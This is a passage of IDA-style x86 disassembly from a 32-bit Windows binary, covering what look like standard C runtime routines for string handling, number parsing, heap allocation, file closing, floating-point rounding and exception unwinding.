; sub_401A64+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_417479
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_417479: ; CODE XREF: sub_417460+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_417460 endp
; =============== S U B R O U T I N E =======================================
sub_417494 proc near ; CODE XREF: sub_41751F+4p
; sub_42067A+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41749C: ; CODE XREF: sub_417494+34j
cmp dword_438C8C, 1
jle short loc_4174B4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_4174C3
; ---------------------------------------------------------------------------
loc_4174B4: ; CODE XREF: sub_417494+Fj
movzx eax, byte ptr [edi]
mov ecx, off_438A80
mov al, [ecx+eax*2]
and eax, 8
loc_4174C3: ; CODE XREF: sub_417494+1Ej
test eax, eax
jz short loc_4174CA
inc edi
jmp short loc_41749C
; ---------------------------------------------------------------------------
loc_4174CA: ; CODE XREF: sub_417494+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4174DA
cmp esi, 2Bh
jnz short loc_4174DE
loc_4174DA: ; CODE XREF: sub_417494+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4174DE: ; CODE XREF: sub_417494+44j
xor ebx, ebx
loc_4174E0: ; CODE XREF: sub_417494+7Bj
cmp dword_438C8C, 1
jle short loc_4174F5
push 4
push esi
call sub_41A342
pop ecx
pop ecx
jmp short loc_417500
; ---------------------------------------------------------------------------
loc_4174F5: ; CODE XREF: sub_417494+53j
mov eax, off_438A80
mov al, [eax+esi*2]
and eax, 4
loc_417500: ; CODE XREF: sub_417494+5Fj
test eax, eax
jz short loc_417511
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_4174E0
; ---------------------------------------------------------------------------
loc_417511: ; CODE XREF: sub_417494+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41751A
neg eax
loc_41751A: ; CODE XREF: sub_417494+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_417494 endp
; =============== S U B R O U T I N E =======================================
sub_41751F proc near ; CODE XREF: sub_4013E8+12p
; sub_4013E8+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417494
pop ecx
retn
sub_41751F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41752A proc near ; CODE XREF: sub_401444+3A1p
; sub_401D6D+4F5p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_419B38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_417569
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_417576
; ---------------------------------------------------------------------------
loc_417569: ; CODE XREF: sub_41752A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419A23
pop ecx
pop ecx
loc_417576: ; CODE XREF: sub_41752A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41752A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417580 proc near ; CODE XREF: sub_401D6D+2C3p
; sub_401D6D+2E3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_4175FA
mov dh, [ecx+1]
test dh, dh
jz short loc_4175E7
loc_417598: ; CODE XREF: sub_417580+52j
; sub_417580+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_4175BA
test al, al
jz short loc_4175B4
loc_4175A9: ; CODE XREF: sub_417580+32j
mov al, [esi]
inc esi
loc_4175AC: ; CODE XREF: sub_417580+3Fj
cmp al, dl
jz short loc_4175BA
test al, al
jnz short loc_4175A9
loc_4175B4: ; CODE XREF: sub_417580+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4175BA: ; CODE XREF: sub_417580+23j
; sub_417580+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_4175AC
lea edi, [esi-1]
loc_4175C4: ; CODE XREF: sub_417580+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_4175F3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417598
mov al, [ecx+3]
test al, al
jz short loc_4175F3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_4175C4
jmp short loc_417598
; ---------------------------------------------------------------------------
loc_4175E7: ; CODE XREF: sub_417580+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_418C56
; ---------------------------------------------------------------------------
loc_4175F3: ; CODE XREF: sub_417580+49j
; sub_417580+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_4175FA: ; CODE XREF: sub_417580+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417580 endp
; =============== S U B R O U T I N E =======================================
sub_417600 proc near ; CODE XREF: sub_4022B5+92p
; sub_4058E9+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_417615
or eax, 0FFFFFFFFh
jmp short loc_41764F
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417600+Ej
test al, 83h
jz short loc_41764D
push esi
call sub_41A4D0
push esi
mov edi, eax
call sub_41A46A
push dword ptr [esi+10h]
call sub_41A3B7
add esp, 0Ch
test eax, eax
jge short loc_41763B
or edi, 0FFFFFFFFh
jmp short loc_41764D
; ---------------------------------------------------------------------------
loc_41763B: ; CODE XREF: sub_417600+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41764D
push eax
call sub_41793B
and dword ptr [esi+1Ch], 0
pop ecx
loc_41764D: ; CODE XREF: sub_417600+17j
; sub_417600+39j ...
mov eax, edi
loc_41764F: ; CODE XREF: sub_417600+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_417600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417656 proc near ; CODE XREF: sub_4022B5+8Cp
; sub_40EC43+2AD4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_41A5A2
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419B38
push [ebp+arg_0]
mov edi, eax
push esi
call sub_41A62F
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_417656 endp
; =============== S U B R O U T I N E =======================================
sub_417688 proc near ; CODE XREF: sub_4176A8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41A7DC
test eax, eax
jnz short loc_417692
retn
; ---------------------------------------------------------------------------
loc_417692: ; CODE XREF: sub_417688+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A66C
add esp, 10h
retn
sub_417688 endp
; =============== S U B R O U T I N E =======================================
sub_4176A8 proc near ; CODE XREF: sub_4022B5+54p
; sub_4058E9+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_417688
add esp, 0Ch
retn
sub_4176A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4176C0 proc near ; CODE XREF: sub_405983+2AEp
; sub_40A610+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_417731
sub_4176C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4176D0 proc near ; CODE XREF: sub_4022B5+32p
; sub_4022B5+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_4176EC
loc_4176DD: ; CODE XREF: sub_4176D0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41771F
test ecx, 3
jnz short loc_4176DD
loc_4176EC: ; CODE XREF: sub_4176D0+Bj
; sub_4176D0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4176EC
mov eax, [ecx-4]
test al, al
jz short loc_41772E
test ah, ah
jz short loc_417729
test eax, 0FF0000h
jz short loc_417724
test eax, 0FF000000h
jz short loc_41771F
jmp short loc_4176EC
; ---------------------------------------------------------------------------
loc_41771F: ; CODE XREF: sub_4176D0+12j
; sub_4176D0+4Bj
lea edi, [ecx-1]
jmp short loc_417731
; ---------------------------------------------------------------------------
loc_417724: ; CODE XREF: sub_4176D0+44j
lea edi, [ecx-2]
jmp short loc_417731
; ---------------------------------------------------------------------------
loc_417729: ; CODE XREF: sub_4176D0+3Dj
lea edi, [ecx-3]
jmp short loc_417731
; ---------------------------------------------------------------------------
loc_41772E: ; CODE XREF: sub_4176D0+39j
lea edi, [ecx-4]
loc_417731: ; CODE XREF: sub_4176C0+5j
; sub_4176D0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_417756
loc_41773D: ; CODE XREF: sub_4176D0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_4177A8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41773D
jmp short loc_417756
; ---------------------------------------------------------------------------
loc_417751: ; CODE XREF: sub_4176D0+9Ej
; sub_4176D0+B8j
mov [edi], edx
add edi, 4
loc_417756: ; CODE XREF: sub_4176D0+6Bj
; sub_4176D0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_417751
test dl, dl
jz short loc_4177A8
test dh, dh
jz short loc_41779F
test edx, 0FF0000h
jz short loc_417792
test edx, 0FF000000h
jz short loc_41778A
jmp short loc_417751
; ---------------------------------------------------------------------------
loc_41778A: ; CODE XREF: sub_4176D0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417792: ; CODE XREF: sub_4176D0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41779F: ; CODE XREF: sub_4176D0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4177A8: ; CODE XREF: sub_4176D0+72j
; sub_4176D0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_4176D0 endp
; =============== S U B R O U T I N E =======================================
sub_4177B0 proc near ; CODE XREF: sub_402394+19Cp
; sub_402394+1F0p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_4177D0
loc_4177BC: ; CODE XREF: sub_4177B0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_417803
test ecx, 3
jnz short loc_4177BC
add eax, 0
loc_4177D0: ; CODE XREF: sub_4177B0+Aj
; sub_4177B0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4177D0
mov eax, [ecx-4]
test al, al
jz short loc_417821
test ah, ah
jz short loc_417817
test eax, 0FF0000h
jz short loc_41780D
test eax, 0FF000000h
jz short loc_417803
jmp short loc_4177D0
; ---------------------------------------------------------------------------
loc_417803: ; CODE XREF: sub_4177B0+11j
; sub_4177B0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41780D: ; CODE XREF: sub_4177B0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417817: ; CODE XREF: sub_4177B0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417821: ; CODE XREF: sub_4177B0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_4177B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_402669+8p
; sub_402B61+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_417850
loc_41783C: ; CODE XREF: sub_417830+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41783C
loc_417850: ; CODE XREF: sub_417830+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_417830 endp
; =============== S U B R O U T I N E =======================================
sub_41785F proc near ; CODE XREF: sub_4029C8+7Ap
; sub_4029C8+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_417873
loc_41786B: ; CODE XREF: sub_41785F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41786B
loc_417873: ; CODE XREF: sub_41785F+Aj
mov edx, [esp+arg_4]
push esi
loc_417878: ; CODE XREF: sub_41785F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_417878
pop esi
retn
sub_41785F endp
; =============== S U B R O U T I N E =======================================
sub_417889 proc near ; CODE XREF: sub_402B61+21Dp
; sub_402DB1+BEp ...
arg_0 = dword ptr 4
push dword_48950C
push [esp+4+arg_0]
call sub_41789B
pop ecx
pop ecx
retn
sub_417889 endp
; =============== S U B R O U T I N E =======================================
sub_41789B proc near ; CODE XREF: sub_417889+Ap
; sub_4182F5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_4178C4
loc_4178A2: ; CODE XREF: sub_41789B+27j
push [esp+arg_0]
call sub_4178C7
test eax, eax
pop ecx
jnz short locret_4178C6
cmp [esp+arg_4], eax
jz short locret_4178C6
push [esp+arg_0]
call sub_41A854
test eax, eax
pop ecx
jnz short loc_4178A2
loc_4178C4: ; CODE XREF: sub_41789B+5j
xor eax, eax
locret_4178C6: ; CODE XREF: sub_41789B+13j
; sub_41789B+19j
retn
sub_41789B endp
; =============== S U B R O U T I N E =======================================
sub_4178C7 proc near ; CODE XREF: sub_41789B+Bp
arg_0 = dword ptr 4
mov eax, dword_48AB28
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_4178EB
cmp esi, dword_48AB20
ja short loc_41791D
push esi
call sub_41ADDD
test eax, eax
pop ecx
jz short loc_41791D
pop esi
retn
; ---------------------------------------------------------------------------
loc_4178EB: ; CODE XREF: sub_4178C7+Dj
cmp eax, 2
jnz short loc_41791D
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_417900
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_417903
; ---------------------------------------------------------------------------
loc_417900: ; CODE XREF: sub_4178C7+2Fj
push 10h
pop esi
loc_417903: ; CODE XREF: sub_4178C7+37j
cmp esi, dword_43ACC4
ja short loc_41792A
mov eax, esi
shr eax, 4
push eax
call sub_41B880
test eax, eax
pop ecx
jnz short loc_417939
jmp short loc_41792A
; ---------------------------------------------------------------------------
loc_41791D: ; CODE XREF: sub_4178C7+15j
; sub_4178C7+20j ...
test esi, esi
jnz short loc_417924
push 1
pop esi
loc_417924: ; CODE XREF: sub_4178C7+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41792A: ; CODE XREF: sub_4178C7+42j
; sub_4178C7+54j
push esi
push 0
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
loc_417939: ; CODE XREF: sub_4178C7+52j
pop esi
retn
sub_4178C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41793B proc near ; CODE XREF: sub_402DB1+10Bp
; sub_402DB1+113p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_4179A1
mov eax, dword_48AB28
cmp eax, 3
jnz short loc_417967
push esi
call sub_41AA89
pop ecx
test eax, eax
push esi
jz short loc_417993
push eax
call sub_41AAB4
pop ecx
pop ecx
jmp short loc_4179A1
; ---------------------------------------------------------------------------
loc_417967: ; CODE XREF: sub_41793B+14j
cmp eax, 2
jnz short loc_417992
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41B7E4
add esp, 0Ch
test eax, eax
jz short loc_417992
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41B83B
add esp, 0Ch
jmp short loc_4179A1
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_41793B+2Fj
; sub_41793B+44j
push esi
loc_417993: ; CODE XREF: sub_41793B+20j
push 0
push dword_48AB24
call dword_4230E4 ; RtlFreeHeap
loc_4179A1: ; CODE XREF: sub_41793B+Aj
; sub_41793B+2Aj ...
pop esi
leave
retn
sub_41793B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4179A4(double)
sub_4179A4 proc near ; CODE XREF: sub_403FA4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_438A40
call sub_41C47D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417A2A
call sub_41C345
pop ecx
test eax, eax
pop ecx
jle short loc_417A0D
cmp eax, 2
jle short loc_4179FF
cmp eax, 3
jnz short loc_417A0D
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_41BC55
add esp, 10h
jmp short loc_417A6F
; ---------------------------------------------------------------------------
loc_4179FF: ; CODE XREF: sub_4179A4+3Fj
push esi
push ebx
call sub_41C47D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417A6F
; ---------------------------------------------------------------------------
loc_417A0D: ; CODE XREF: sub_4179A4+3Aj
; sub_4179A4+44j
fld [ebp+arg_0]
fadd dbl_4236A0
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_417A67
; ---------------------------------------------------------------------------
loc_417A2A: ; CODE XREF: sub_4179A4+2Fj
call sub_41C30A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417A4D
loc_417A3F: ; CODE XREF: sub_4179A4+ACj
push esi
push ebx
call sub_41C47D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417A6F
; ---------------------------------------------------------------------------
loc_417A4D: ; CODE XREF: sub_4179A4+99j
test bl, 20h
jnz short loc_417A3F
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_417A67: ; CODE XREF: sub_4179A4+84j
call sub_41BCA8
add esp, 1Ch
loc_417A6F: ; CODE XREF: sub_4179A4+59j
; sub_4179A4+67j ...
pop esi
pop ebx
leave
retn
sub_4179A4 endp
; =============== S U B R O U T I N E =======================================
sub_417A73 proc near ; CODE XREF: sub_4197B8+9p
; sub_41C546+21p
; DATA XREF: ...
call sub_417A8B
call sub_41C546
mov dword_489488, eax
call sub_41C4F6
fnclex
retn
sub_417A73 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_417A8B proc near ; CODE XREF: sub_417A73p
mov eax, offset sub_41C934
mov off_43ADE4, offset sub_41C5C9
mov off_43ADE0, eax
mov off_43ADE8, offset sub_41C62F
mov off_43ADEC, offset sub_41C56F
mov off_43ADF0, offset sub_41C617
mov off_43ADF4, eax
retn
sub_417A8B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AC4 proc near ; CODE XREF: sub_403FA4+1Bp
; sub_403FA4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_417AC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417AEB(double)
sub_417AEB proc near ; CODE XREF: sub_403FF0+83p
; sub_404904+395p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_438A58
call sub_41C47D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417B71
call sub_41C345
pop ecx
test eax, eax
pop ecx
jle short loc_417B54
cmp eax, 2
jle short loc_417B46
cmp eax, 3
jnz short loc_417B54
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_41BC55
add esp, 10h
jmp short loc_417BB6
; ---------------------------------------------------------------------------
loc_417B46: ; CODE XREF: sub_417AEB+3Fj
push esi
push ebx
call sub_41C47D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417BB6
; ---------------------------------------------------------------------------
loc_417B54: ; CODE XREF: sub_417AEB+3Aj
; sub_417AEB+44j
fld [ebp+arg_0]
fadd dbl_4236A0
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_417BAE
; ---------------------------------------------------------------------------
loc_417B71: ; CODE XREF: sub_417AEB+2Fj
call sub_41C30A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417B94
loc_417B86: ; CODE XREF: sub_417AEB+ACj
push esi
push ebx
call sub_41C47D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417BB6
; ---------------------------------------------------------------------------
loc_417B94: ; CODE XREF: sub_417AEB+99j
test bl, 20h
jnz short loc_417B86
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_417BAE: ; CODE XREF: sub_417AEB+84j
call sub_41BCA8
add esp, 1Ch
loc_417BB6: ; CODE XREF: sub_417AEB+59j
; sub_417AEB+67j ...
pop esi
pop ebx
leave
retn
sub_417AEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BBA proc near ; CODE XREF: sub_41CDA5+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_417BBA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_417BEE proc near ; CODE XREF: sub_41CF56+199p
; sub_41D11A+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417BEE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417BF5 proc near ; CODE XREF: sub_41CF56+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417BF5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BFC proc near ; CODE XREF: sub_417DAE+5Cp
; sub_41CDA5:loc_41CDD6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_417C24
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42274C ; RtlUnwind
loc_417C24: ; DATA XREF: sub_417BFC+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_417BFC endp
; ---------------------------------------------------------------------------
loc_417C4B: ; CODE XREF: .data:00422DECj
; .data:00422E09j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41C9AA
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C81 proc near ; CODE XREF: sub_41CE20+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_417CD5
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41D1B0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_417C81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CD5 proc near ; DATA XREF: sub_417C81+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41C9AA
add esp, 20h
pop ebp
retn
sub_417CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CFA proc near ; CODE XREF: sub_41CBEC+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
